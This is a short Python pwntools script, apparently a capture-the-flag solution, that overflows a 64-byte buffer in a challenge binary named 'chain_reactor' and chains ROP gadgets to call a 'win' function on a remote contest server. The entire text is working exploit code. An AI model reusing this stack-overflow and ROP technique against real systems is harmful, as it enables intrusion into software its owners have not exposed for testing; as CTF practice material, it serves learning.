from pwn import * OFF = 64 pop_rdi = 0x000000000040121F pop_rsi = 0x0000000000401221 ret = 0x000000000040101A var1 = 0xC0FFEE var2 = 0xBADC0DE win = 0x0000000000401226 context.binary = elf = ELF("./chain_reactor", checksec=False) # p = process(elf.path) p = remote("offsec.m0lecon.it", 13510) print(p.recvuntil(b"[chain-reactor] Enter activation codes: ")) payload = flat( b"A" * 64, p64(ret), p64(pop_rdi), p64(var1), p64(pop_rsi), p64(var2), p64(win), ) p.sendline(payload) p.interactive()